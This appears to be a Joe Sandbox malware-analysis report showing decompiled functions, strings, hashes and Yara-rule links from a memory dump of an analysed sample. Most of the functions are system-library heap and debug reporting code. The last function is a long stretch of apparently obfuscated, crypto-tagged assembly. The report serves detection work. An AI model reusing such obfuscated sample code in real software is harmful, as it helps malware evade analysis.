String ID: $ $ $ $ $ $ $0$3$7$7$A$A$A$A$B$B$B$B$B$B$B$C$C$C$C$C$C$C$C$C$C$C$C$D$E$E$E$F$G$G$I$K$K$M$M$M$O$O$O$P$P$Q$S$S$S$S$S$S$S$S$T$T$U$U$V$Y$\$\$\$\$\$\$\$\$a$a$a$a$a$a$a$a$a$a$a$b$c$c$c$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$f$f$f$g$g$h$h$i$i$i$i$i$i$i$i$i$i$j$k$k$k$l$l$l$l$l$l$m$m$m$m$m$m$m$m$m$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$t$t$t$t$t$t$t$t$u$u$u$u$u$u$v$v$w$w$w$w$w$w$w$w$w$w$x$y
API String ID: 0-2578923714
Opcode ID: c3f6beafc16c9cb9415250cb929e16f3a67d6e8fb3457a06a6e3c7be66db03b3
Instruction ID: e877329d3b54511e09175e7e45f7f6854b3bb467e7df94108603d234343c7ede
Opcode Fuzzy Hash: c3f6beafc16c9cb9415250cb929e16f3a67d6e8fb3457a06a6e3c7be66db03b3
Instruction Fuzzy Hash: 3892FBB1810228DEEB65DF50DC49BEABBB9BF04708F0045DD911D6A212DBB55BC8CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E5B260 Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

*** enter .cxr %p for the context, xrefs: 00E5B50D
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 00E5B305
*** Resource timeout (%p) in %ws:%s, xrefs: 00E5B352
<unknown>, xrefs: 00E5B27E, 00E5B2D1, 00E5B350, 00E5B399, 00E5B417, 00E5B48E
*** A stack buffer overrun occurred in %ws:%s, xrefs: 00E5B2F3
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 00E5B484
The resource is owned exclusively by thread %p, xrefs: 00E5B374
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 00E5B39B
*** then kb to get the faulting stack, xrefs: 00E5B51C
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 00E5B53F
The instruction at %p tried to %s , xrefs: 00E5B4B6
a NULL pointer, xrefs: 00E5B4E0
*** Inpage error in %ws:%s, xrefs: 00E5B418
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 00E5B47D
write to, xrefs: 00E5B4A6
The resource is owned shared by %d threads, xrefs: 00E5B37E
The critical section is owned by thread %p., xrefs: 00E5B3B9
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00E5B3D6
*** enter .exr %p for the exception record, xrefs: 00E5B4F1
an invalid address, %p, xrefs: 00E5B4CF
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 00E5B476
*** An Access Violation occurred in %ws:%s, xrefs: 00E5B48F
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 00E5B314
read from, xrefs: 00E5B4AD, 00E5B4B2
The instruction at %p referenced memory at %p., xrefs: 00E5B432
This failed because of error %Ix., xrefs: 00E5B446
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 00E5B2DC
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 00E5B323
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00E5B38F
Go determine why that thread has not released the critical section., xrefs: 00E5B3C5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 58aa334b6f56e11e376f18cdf46fab1f1d9c73ff1f6c5740d5dffb1e473ef307
Instruction ID: 0c246d1e31b3eccb2fa33929cda3331366e0815606d193d5be91987732a362d1
Opcode Fuzzy Hash: 58aa334b6f56e11e376f18cdf46fab1f1d9c73ff1f6c5740d5dffb1e473ef307
Instruction Fuzzy Hash: 5A810336A00210FFCF25AE058C4AD7B3F66AF46B56F415845F9047B253E3B18819DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00E61C06 Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00E61C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0xd848a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00DAB150();
				} else {
					E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0xe9589c);
				E00DAB150("Heap error detected at %p (heap handle %p)\n",  *0xe958a0);
				_t27 =  *0xe95898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M00E61E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00DAB150();
				} else {
					E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E00DAB150("Error code: %d - %s\n",  *0xe95898);
				_t113 =  *0xe958a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00DAB150();
					} else {
						E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00DAB150("Parameter1: %p\n",  *0xe958a4);
				}
				_t115 =  *0xe958a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00DAB150();
					} else {
						E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00DAB150("Parameter2: %p\n",  *0xe958a8);
				}
				_t117 =  *0xe958ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00DAB150();
					} else {
						E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00DAB150("Parameter3: %p\n",  *0xe958ac);
				}
				_t119 =  *0xe958b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E00DAB150();
					} else {
						E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0xe958b4);
					E00DAB150("Last known valid blocks: before - %p, after - %p\n",  *0xe958b0);
				} else {
					_t120 =  *0xe958b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E00DAB150();
				} else {
					E00DAB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E00DAB150("Stack trace available at %p\n", 0xe958c0);
			}

0x00e61c10
0x00e61c16
0x00e61c1e
0x00e61c3d
0x00e61c3e
0x00e61c20
0x00e61c35
0x00e61c3a
0x00e61c44
0x00e61c55
0x00e61c5a
0x00e61c65
0x00e61c67
0x00000000
0x00e61c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00e61c67
0x00e61cdc
0x00e61ce5
0x00e61d04
0x00e61d05
0x00e61ce7
0x00e61cfc
0x00e61d01
0x00e61d0b
0x00e61d17
0x00e61d1f
0x00e61d25
0x00e61d30
0x00e61d4f
0x00e61d50
0x00e61d32
0x00e61d47
0x00e61d4c
0x00e61d61
0x00e61d67
0x00e61d68
0x00e61d6e
0x00e61d79
0x00e61d98
0x00e61d99
0x00e61d7b
0x00e61d90
0x00e61d95
0x00e61daa
0x00e61db0
0x00e61db1
0x00e61db7
0x00e61dc2
0x00e61de1
0x00e61de2
0x00e61dc4
0x00e61dd9
0x00e61dde
0x00e61df3
0x00e61df9
0x00e61dfa
0x00e61e00
0x00e61e0a
0x00e61e13
0x00e61e32
0x00e61e33
0x00e61e15
0x00e61e2a
0x00e61e2f
0x00e61e39
0x00e61e4a
0x00e61e02
0x00e61e02
0x00e61e08
0x00000000
0x00000000
0x00e61e08
0x00e61e5b
0x00e61e7a
0x00e61e7b
0x00e61e5d
0x00e61e72
0x00e61e77
0x00e61e95

Strings

heap_failure_generic, xrefs: 00E61C7C
Heap error detected at %p (heap handle %p), xrefs: 00E61C50
heap_failure_buffer_overrun, xrefs: 00E61C98
heap_failure_internal, xrefs: 00E61C6E
heap_failure_usage_after_free, xrefs: 00E61CBB
Error code: %d - %s, xrefs: 00E61D12
Parameter2: %p, xrefs: 00E61DA5
heap_failure_multiple_entries_corruption, xrefs: 00E61C8A
Last known valid blocks: before - %p, after - %p, xrefs: 00E61E45
heap_failure_block_not_busy, xrefs: 00E61CA6
heap_failure_lfh_bitmap_mismatch, xrefs: 00E61CD7
heap_failure_unknown, xrefs: 00E61C75
Parameter1: %p, xrefs: 00E61D5C
heap_failure_listentry_corruption, xrefs: 00E61CD0
heap_failure_entry_corruption, xrefs: 00E61C83
heap_failure_virtual_block_corruption, xrefs: 00E61C91
heap_failure_invalid_allocation_type, xrefs: 00E61CB4
HEAP[%wZ]: , xrefs: 00E61C30, 00E61CF7, 00E61D42, 00E61D8B, 00E61DD4, 00E61E25, 00E61E6D
heap_failure_cross_heap_operation, xrefs: 00E61CC2
Stack trace available at %p, xrefs: 00E61E86
HEAP: , xrefs: 00E61C16, 00E61C3D, 00E61D04, 00E61D4F, 00E61D98, 00E61DE1, 00E61E32, 00E61E7A
heap_failure_buffer_underrun, xrefs: 00E61C9F
heap_failure_freelists_corruption, xrefs: 00E61CC9
heap_failure_invalid_argument, xrefs: 00E61CAD
Parameter3: %p, xrefs: 00E61DEE

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 7a9c1bfbef9374a2aa87cbeb70f8baddf4f779a5cc16791fef7d0f705dbbf8fa
Instruction ID: 7d78dac651f4200fa6ebac113e8c593d2a7eb1a8a6b0af47ab485acedae229c9
Opcode Fuzzy Hash: 7a9c1bfbef9374a2aa87cbeb70f8baddf4f779a5cc16791fef7d0f705dbbf8fa
Instruction Fuzzy Hash: FC61C033991644DFC71BEB95E895A24B3A4EB04B71B1D80BBF80D7B352C6209C41DB3A

Uniqueness

Uniqueness Score: -1.00%

Function 00E251BE Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00E251BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0xe805f0);
				E00DFD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					L00DBEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E00E253CA(0);
						return E00DFD130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E00DEF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = L00DC3690(1, _t117, 0xd81810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E00DEAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L00DC4620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E00DEAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E00E2500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E00DE9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x00e251be
0x00e251c3
0x00e251c8
0x00e251cd
0x00e251d0
0x00e251d3
0x00e251d8
0x00e251db
0x00e251de
0x00e251e0
0x00e251e3
0x00e251e6
0x00e251e8
0x00e25342
0x00e25351
0x00e25356
0x00e2535a
0x00e25360
0x00e25363
0x00e25366
0x00e25369
0x00e25369
0x00e2536b
0x00e2536b
0x00e25370
0x00e253a3
0x00e253a4
0x00e253a6
0x00e253ab
0x00e253ab
0x00e253ae
0x00e253ae
0x00e253b5
0x00e253bf
0x00e253bf
0x00e25375
0x00e25396
0x00e253a0
0x00e253a0
0x00000000
0x00e25396
0x00e25377
0x00e25379
0x00e2537f
0x00e2538c
0x00e25390
0x00000000
0x00e25390
0x00e251ee
0x00e251f1
0x00e25301
0x00e25310
0x00e25315
0x00e25318
0x00e2531b
0x00e25320
0x00e2532e
0x00e25331
0x00000000
0x00e25331
0x00e25328
0x00e25329
0x00000000
0x00e25329
0x00e251fa
0x00e25235
0x00e25236
0x00e25239
0x00e2523f
0x00e25240
0x00e25241
0x00e25242
0x00e25246
0x00e25247
0x00e2524e
0x00e25251
0x00e25267
0x00e25269
0x00e2526e
0x00e2527d
0x00e2527e
0x00e25281
0x00e25282
0x00e25287
0x00e25288
0x00e2528a
0x00e2528f
0x00e25294
0x00000000
0x00000000
0x00e2529a
0x00e2529c
0x00e2529e
0x00e2529e
0x00e252a4
0x00e252b0
0x00000000
0x00000000
0x00e252ba
0x00e252bc
0x00e252bc
0x00e252d4
0x00e252d9
0x00e252dc
0x00e252e1
0x00000000
0x00000000
0x00e252e7
0x00e252f4
0x00000000
0x00e252f4
0x00e25270
0x00000000
0x00e25270
0x00e251fc
0x00e251fd
0x00e25202
0x00e25203
0x00e25205
0x00e2520a
0x00e2520f
0x00000000
0x00000000
0x00e2521b
0x00e25226
0x00e2522b
0x00e2521d
0x00e2521d
0x00e25222
0x00e25222
0x00e2522d
0x00000000

Strings

Legacy, xrefs: 00E25226
UEFI, xrefs: 00E2521D

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: c423f8fead7f3e3e97026d570a04e28ed883c57652ee17cd5c677fb13d0f8cb8
Instruction ID: 6fbf646c09111434d1b13db46989fe86ba17e7104ce618e3b58ab3b5d5eebfa9
Opcode Fuzzy Hash: c423f8fead7f3e3e97026d570a04e28ed883c57652ee17cd5c677fb13d0f8cb8
Instruction Fuzzy Hash: 25516E72A00B29DFDB24DFA8DA40BADB7F9FF48740F14502DE549EB291D6719900CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0002D792 Relevance: 1.9, Strings: 1, Instructions: 670
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E0002D792(signed int __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				signed char _t117;
				intOrPtr _t121;
				signed char _t125;
				void* _t127;
				void* _t133;

				_t133 = __esi;
				 *0xf6103f25 =  *0xf6103f25 << 0xd9;
				asm("lodsb");
				asm("sbb esi, 0xbf537d6e");
				 *0x660a1b1c =  *0x9c73cce9 ^  *0x167ff3e6;
				 *0x23df67eb =  *0x23df67eb << 0x58;
				_t117 = __eax |  *0x9bfe093a;
				asm("adc ebp, [0x878d6817]");
				 *0xd4b50a9c =  *0xd4b50a9c >> 0xd0;
				_t127 = __edx + 0x3c25c494;
				_t121 =  *0x660a1b1c -  *0x3a729ba3;
				_t125 = (__ecx |  *0x58d5c3e) ^ 0x0000000a;
				asm("rcr dword [0x8f3319d], 0xa4");
				if(_t125 < 0) {
					L1:
					asm("sbb ecx, [0xa6bb1409]");
					asm("sbb eax, [0xdd0d8d3f]");
					_t125 = _t125 +  *0xf5561ae6;
					_t117 = _t117 + 0xbc600f27;
					_push(_t133);
					 *0x381dd188 =  *0x381dd188 | _t117;
					asm("adc ebp, [0xa9a6e6b8]");
					asm("adc bl, [0x993aa608]");
					asm("rcr dword [0x4559dfda], 0xde");
					 *0x4a2acba0 =  *0x4a2acba0 << 0x25;
					_t127 = (_t127 +  *0x77c66a32 |  *0xb0c97003) +  *0x6a8e43b;
					 *0xb97f70c9 =  *0xb97f70c9 + _t125;
					 *0x889a00df =  *0x889a00df << 0xee;
					_t8 = _t121 +  *0x823d0d9c;
					_t121 =  *0xa31a8763;
					 *0xa31a8763 = _t8;
					goto L1;
				}
				__eax =  *0x9ba8e47c * 0x3a73;
				__eflags =  *0xa3e090f - __edi;
				__ebx = __ebx + 1;
				__eflags = __ebx;
				if(__ebx >= 0) {
					goto L1;
				}
				__esp =  *0xa05e607d * 0x284;
				__ebp =  *0x5f6dea6a * 0x12a3;
				asm("rcl dword [0xefee2265], 0x42");
				__esi = __esi |  *0x34c27431;
				 *0x4c1e2638 =  *0x4c1e2638 >> 0xdd;
				asm("adc [0xc796cd6f], edx");
				asm("cmpsb");
				asm("adc [0x552f2bd4], edi");
				asm("ror byte [0x9e2a18b6], 0x5b");
				__esi = __esi ^ 0x44aa2e95;
				_t9 = __eax;
				__eax =  *0xb145f6c4;
				 *0xb145f6c4 = _t9;
				__bl = __bl &  *0x70c2e8ca;
				_t10 = __ecx;
				__ecx =  *0x4d0cbb0b;
				 *0x4d0cbb0b = _t10;
				 *0x85cad80b =  *0x85cad80b << 7;
				_pop( *0x51359d5);
				__eflags =  *0xc08826d0 & __al;
				 *0x439c40e5 =  *0x439c40e5 & __bl;
				__edi = __edi + 1;
				__eflags = __edx - 0x229dab39;
				__edx = __edx & 0x49965e26;
				asm("sbb edx, 0xce2ad78d");
				__eflags =  *0x675464f7 & __edx;
				__esi = __esi -  *0xa7ac8fa1;
				__ecx =  *0x4d0cbb0b - 1;
				__eflags = __dh - 0x80;
				__edi = __edi - 0xc9f14a2f;
				asm("adc dh, 0xc");
				 *0x308ac430 = __ch;
				 *0x8dce44a9 - __ecx = __edi -  *0xcb3f46cd;
				__esp =  *0x23bb77ec;
				__ecx = __ecx + 1;
				 *0x24e78609 =  *0x24e78609 ^ __eax;
				__eflags = __esp -  *0xc508633;
				__edi = __edi - 0xf7db2cc4;
				__ecx = __ecx |  *0xe8485725;
				__eflags = __ah -  *0x927dda34;
				_t15 = __dl;
				__dl =  *0x3d733818;
				 *0x3d733818 = _t15;
				__cl = __cl + 0xa8;
				asm("sbb edi, 0xdfc600c7");
				_pop(__ebp);
				 *0xa5f4f38f =  *0xa5f4f38f << 0x15;
				__edx = __edx & 0x98effb1d;
				__edi = __edi - 0xfcdd48db;
				_pop( *0x7137440f);
				__ch = __ch + 0xf6;
				asm("ror dword [0xd4a5f62b], 0x3b");
				asm("adc esp, [0x1eb3241b]");
				_pop(__esi);
				__esi = __ebx;
				_pop(__edx);
				__cl = __cl | 0x000000d7;
				__al = __al ^  *0xa5f2b7ca;
				__eflags =  *0x91531b6e & __ebp;
				if(( *0x91531b6e & __ebp) < 0) {
					goto L1;
				}
				asm("adc esi, [0x4af6fc72]");
				__ecx = __ecx + 1;
				 *0x883096fa = __esp;
				 *0x1106c888 = __ah;
				__eflags =  *0x7aaed837 - __ecx;
				_t18 = __ebx;
				__ebx =  *0x69896d98;
				 *0x69896d98 = _t18;
				if( *0x7aaed837 < __ecx) {
					goto L1;
				}
				asm("rcr dword [0x26de8c78], 0x2c");
				__eflags =  *0x68a18109 - __edx;
				 *0x64ff586 =  *0x64ff586 + __dh;
				__eflags =  *0x64ff586;
				asm("adc ebx, [0x4a0b8d1b]");
				asm("sbb esp, [0x6818b489]");
				if( *0x64ff586 == 0) {
					goto L1;
				}
				__eflags =  *0x4dbd6574 & __esi;
				 *0xbf0b113c =  *0xbf0b113c & __ch;
				asm("sbb ebp, [0xdd7196eb]");
				__ebp = 0x4dbc5e1e;
				__eflags =  *0x590e113c - __dl;
				__edx = 0x35ebdf3d;
				_t21 = __esp;
				__esp =  *0xb6dd6264;
				 *0xb6dd6264 = _t21;
				 *0xc6f9bc9c =  *0xc6f9bc9c - 0x4dbc5e1e;
				__ebx =  *0xe1ea0e6b * 0x988c;
				__eflags =  *0xe1ea0e6b * 0x988c;
				__bl = 0x10;
				if( *0xe1ea0e6b * 0x988c < 0) {
					goto L1;
				}
				__ebx =  *0xc925ad7c * 0xd4d1;
				__edi = __edi &  *0x126bae23;
				__bl = 0x00000010 ^  *0xded426d0;
				__ebp = 0x4dbc5e1f;
				__ebx = 1 +  *0xc925ad7c * 0xd4d1;
				__edi = __edi ^ 0x0f89bfce;
				__eax = __eax - 0x7cef88c;
				asm("adc bl, [0xd4a6d0a2]");
				__dh = 0x12;
				 *0xc53ad09e = __esp;
				__ebx = 1 +  *0xc925ad7c * 0xd4d1 -  *0x91cbe617;
				__eflags = __esi & 0x83527e9e;
				_pop( *0xa7c7a0c2);
				__eflags =  *0xc8fd0dd4 & __eax;
				__esi = __esi +  *0x5e98f6c;
				__eflags =  *0xd16fb801 & 0x35ebdf3d;
				__ebx =  *0x10bc3f60 * 0x45ff;
				asm("ror dword [0x2620c96c], 0x64");
				__edx = 0x35ebdf3d ^  *0xaf198b2e;
				__eax = __eax - 1;
				__eflags = 0x4dbc5e1e - 0xfc171313;
				_push( *0xc7a3071b);
				asm("rcr byte [0x8d4a0f18], 0x39");
				 *0xca3109c4 =  *0xca3109c4 ^ __esp;
				__eflags =  *0x8e25b498 - __eax;
				 *0xa8d26b7 =  *0xa8d26b7 >> 0xc3;
				 *0xfb0347a1 =  *0xfb0347a1 >> 0xbe;
				_push(0x35ebdf3d);
				_push(0x35ebdf3d);
				__esi = __esi &  *0x3a45933d;
				__ecx = __ecx +  *0xa4c93917;
				 *0xa01223df =  *0xa01223df << 8;
				__esi =  *0xeea2366a * 0x1b0a;
				_push(0x35ebdf3d);
				_push( *0xa1ffb62);
				__eflags = __dl & 0x000000d7;
				__esi =  *0xeea2366a * 0x1b0a - 1;
				_t30 = __al;
				__al =  *0x531b67a2;
				 *0x531b67a2 = _t30;
				asm("rol byte [0x4bf2d0f6], 0x72");
				 *0x78cb4181 = __eax;
				__eflags = __esp - 0xe38678b;
				__edx = (0x35ebdf3d ^  *0xaf198b2e) + 1;
				asm("rcl byte [0x5b7e30b2], 0xde");
				asm("ror dword [0x8e2c0f8d], 0xd4");
				_push( *0x12cc70a1);
				_pop( *0x3d051226);
				__eflags = __bh -  *0xccce6b0a;
				__ebp = 0x4dbc5e1e;
				 *0xeff21339 =  *0xeff21339 & __ebx;
				__esp = __esp ^ 0x53888ddf;
				asm("adc ebx, [0x4bd46f6d]");
